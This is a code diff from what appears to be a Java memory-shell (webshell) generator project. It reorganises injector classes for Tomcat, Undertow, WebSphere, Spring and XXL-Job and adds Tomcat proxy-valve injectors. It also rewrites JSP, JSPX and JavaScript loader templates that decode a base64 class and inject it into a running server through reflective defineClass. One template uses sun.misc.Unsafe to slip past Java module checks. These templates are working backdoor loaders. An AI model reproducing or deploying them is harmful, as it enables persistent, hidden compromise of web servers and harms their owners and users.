shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||||
|
|||||||
+4
-4
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerFunctionInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerMethodInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxNettyHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxWebFilterInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcInterceptorInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -16,7 +15,7 @@ public class TomcatShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, TomcatValveInjector.class)
|
.addInjector(VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||||
|
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ public class UndertowShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
||||||
Object[] keys = map.keySet().toArray();
|
Object[] keys = map.keySet().toArray();
|
||||||
for (Object key : keys) {
|
for (Object key : keys) {
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.xxljob.XxlJobNettyHandlerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
|
import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
|
||||||
|
|
||||||
|
|||||||
@@ -12,22 +12,7 @@ public class ShellCommonUtil {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
Field field = null;
|
return "";
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class GetFieldValueInterceptor {
|
public static class GetFieldValueInterceptor {
|
||||||
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
|
|||||||
@Advice.Argument(value = 1) String name,
|
@Advice.Argument(value = 1) String name,
|
||||||
@Advice.Return(readOnly = false) Object returnValue
|
@Advice.Return(readOnly = false) Object returnValue
|
||||||
) throws Exception {
|
) throws Exception {
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
while (clazz != Object.class) {
|
||||||
try {
|
try {
|
||||||
field = clazz.getDeclaredField(name);
|
Field field = clazz.getDeclaredField(name);
|
||||||
break;
|
field.setAccessible(true);
|
||||||
|
returnValue = field.get(obj);
|
||||||
|
return;
|
||||||
} catch (NoSuchFieldException var5) {
|
} catch (NoSuchFieldException var5) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (field == null) {
|
if (returnValue == null) {
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException();
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
returnValue = field.get(obj);
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64DecodeToString(String bs) {
|
public static String base64DecodeToString(String bs) throws Exception {
|
||||||
byte[] value = null;
|
return "";
|
||||||
Class<?> base64;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
Object decoder = base64.newInstance();
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return value == null ? null : new String(value);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class Base64DecodeToStringInterceptor {
|
public static class Base64DecodeToStringInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
|
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
byte[] value = null;
|
if (bs != null) {
|
||||||
Class<?> base64;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
Object decoder = base64.newInstance();
|
returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
|
||||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
} catch (Exception var6) {
|
||||||
} catch (Exception ignored) {
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
returnValue = value == null ? null : new String(value);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,30 +1,16 @@
|
|||||||
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
|
|
||||||
var className = "{{className}}";
|
|
||||||
var base64Str = "{{base64Str}}";
|
var base64Str = "{{base64Str}}";
|
||||||
|
var clsString = java.lang.Class.forName("java.lang.String");
|
||||||
|
var bytecode;
|
||||||
try {
|
try {
|
||||||
classLoader.loadClass(className).newInstance();
|
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
} catch (e) {
|
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||||
var clsString = classLoader.loadClass("java.lang.String");
|
} catch (ee) {
|
||||||
var bytecode;
|
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
try {
|
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
}
|
||||||
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
|
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||||
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||||
} catch (ee) {
|
defineClass.setAccessible(true);
|
||||||
try {
|
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
clazz.newInstance();
|
||||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
|
||||||
} catch (eee) {
|
|
||||||
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
|
|
||||||
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
|
|
||||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
|
||||||
var clsInt = java.lang.Integer.TYPE;
|
|
||||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
|
||||||
clazz.newInstance();
|
|
||||||
}
|
|
||||||
@@ -1,50 +1,26 @@
|
|||||||
<%!
|
<%!
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
%>
|
%>
|
||||||
|
|
||||||
<%
|
<%
|
||||||
new ClassDefiner().toString();
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
%>
|
%>
|
||||||
@@ -3,51 +3,27 @@
|
|||||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||||
<jsp:declaration><![CDATA[
|
<jsp:declaration><![CDATA[
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
]]></jsp:declaration>
|
]]></jsp:declaration>
|
||||||
<jsp:scriptlet><![CDATA[
|
<jsp:scriptlet><![CDATA[
|
||||||
new ClassDefiner().toString();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
]]></jsp:scriptlet>
|
]]></jsp:scriptlet>
|
||||||
</jsp:root>
|
</jsp:root>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
<%
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
<%
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Object unsafe = null;
|
||||||
|
Object rawModule = null;
|
||||||
|
long offset = 48;
|
||||||
|
java.lang.reflect.Method getAndSetObjectM = null;
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
unsafe = unsafeField.get(null);
|
||||||
|
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
|
||||||
|
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
defMethod.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||||
|
if (getAndSetObjectM != null) {
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
|
}
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
-20
@@ -1,20 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.TomcatShell;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/27
|
|
||||||
*/
|
|
||||||
class ListenerGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testCommonListener() {
|
|
||||||
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
|
|
||||||
assertNotNull(clazz);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/22
|
|
||||||
*/
|
|
||||||
class ValveGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void test() throws Exception {
|
|
||||||
Class<?> clazz = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, CommandValve.class);
|
|
||||||
InputStream resourceAsStream = clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class");
|
|
||||||
assert resourceAsStream != null;
|
|
||||||
ClassReader cr = new ClassReader(resourceAsStream);
|
|
||||||
cr.accept(new ClassVisitor(Opcodes.ASM9) {
|
|
||||||
@Override
|
|
||||||
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
|
|
||||||
assertEquals("com/bes/enterprise/webtier/Valve", interfaces[0]);
|
|
||||||
}
|
|
||||||
}, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
|
|||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String content = new String(packer.pack(generateResult));
|
String content = new String(packer.pack(generateResult));
|
||||||
System.out.println(content);
|
System.out.println(content);
|
||||||
assertTrue(content.contains("var className = \"hehe\";"));
|
|
||||||
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -17,8 +17,7 @@ class JspPackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jspContent = new String(new JspPacker().pack(generateResult));
|
String jspContent = new JspPacker().pack(generateResult);
|
||||||
assertTrue(jspContent.contains("String className = \"hehe\";"));
|
|
||||||
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+5
-2
@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.api.condition.EnabledOnJre;
|
||||||
|
import org.junit.jupiter.api.condition.JRE;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
|
|||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
||||||
System.out.println(jsContent);
|
System.out.println(jsContent);
|
||||||
assertTrue(jsContent.contains("var className = \"hehe\";"));
|
|
||||||
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
